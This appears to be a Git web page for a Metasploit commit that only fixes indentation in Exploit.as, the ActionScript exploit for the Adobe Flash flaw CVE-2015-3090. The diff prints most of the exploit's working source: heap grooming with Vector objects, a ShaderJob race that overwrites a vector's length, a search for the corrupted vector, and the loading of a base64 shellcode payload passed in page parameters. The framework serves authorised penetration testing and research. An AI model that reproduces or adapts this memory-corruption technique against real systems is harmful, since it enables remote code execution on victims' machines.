dnrops
/
metasploit-framework
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

Fix indentation

This commit is contained in:
jvazquez-r7 2015-06-18 12:38:36 -05:00
parent de1542e589
commit 55f077fa9e
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
1 changed files with 20 additions and 20 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

40
external/source/exploits/CVE-2015-3090/Exploit.as vendored
View File

@ -1,29 +1,29 @@
package
{
import flash.display.BitmapData
import flash.display.Shader
import flash.display.ShaderJob
import flash.display.Sprite
import flash.utils.getTimer
import flash.display.BitmapData
import flash.display.Shader
import flash.display.ShaderJob
import flash.display.Sprite
import flash.utils.getTimer
import flash.display.LoaderInfo
import mx.utils.Base64Decoder
import flash.utils.ByteArray
public class Exploit extends Sprite
{
[Embed ( source="exploit.pbj", mimeType="application/octet-stream" ) ]
private static var BilinearScaling:Class
private var ov:Vector.<Object>
[Embed ( source="exploit.pbj", mimeType="application/octet-stream" ) ]
private static var BilinearScaling:Class
private var ov:Vector.<Object>
private var uv:Vector.<uint>
private var b64:Base64Decoder = new Base64Decoder()
private var payload:ByteArray
private var platform:String
private var os:String
private var exploiter:Exploiter
public function Exploit()
{
public function Exploit()
{
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
@ -42,26 +42,26 @@ package
// Put vectors in memory
ov = new Vector.<Object>(1024)
for (var i:uint = 0; i < ov.length; i++) {
ov[i] = new Vector.<uint>(0xa6)
ov[i][0] = 0xdeedbeef
ov[i][1] = i
ov[i][2] = 0xdeadbeaf
}
// Create holes by redimensioning some vectors
for (i = ov.length / 2; i < ov.length; i = i + 6) {
ov[i].length = 0x14c // 0xa6 * 2
}
// Defragment memory so hopefully one of our holes will be used
// by the ShaderJob later...
var defrag:Vector.<Object> = new Vector.<Object>(20)
for(i = 0; i < defrag.length; i++) {
defrag[i] = new Vector.<uint>(0xa6)
}
// Apply the bilinear scaling with a ShaderJob, so the job
// can be execued on a new thread, providing us the opportunity
// to tweak the width attribute after starting the job, providing
@ -73,7 +73,7 @@ package
shaderJob.start()
shaderJob.width = 0xa5 // Overwrite "next" vector length
this.WaitTimer(1000)
for (i = 0; i < ov.length; i++) {
if (ov[i].length != 0xa6 && ov[i].length != 0x14c) {
Logger.log("[*] Exploit - Exploit(): Vector corrupted: " + i.toString() + " : " + ov[i].length.toString())
@ -83,14 +83,14 @@ package
ov[i] = null
}
}
if (uv == null) {
Logger.log("[!] Exploit - Exploit(): Corrupted Vector not found")
return
}
exploiter = new Exploiter(this, platform, os, payload, uv)
}
}
private function WaitTimer(time:int):void{
var current:int = getTimer()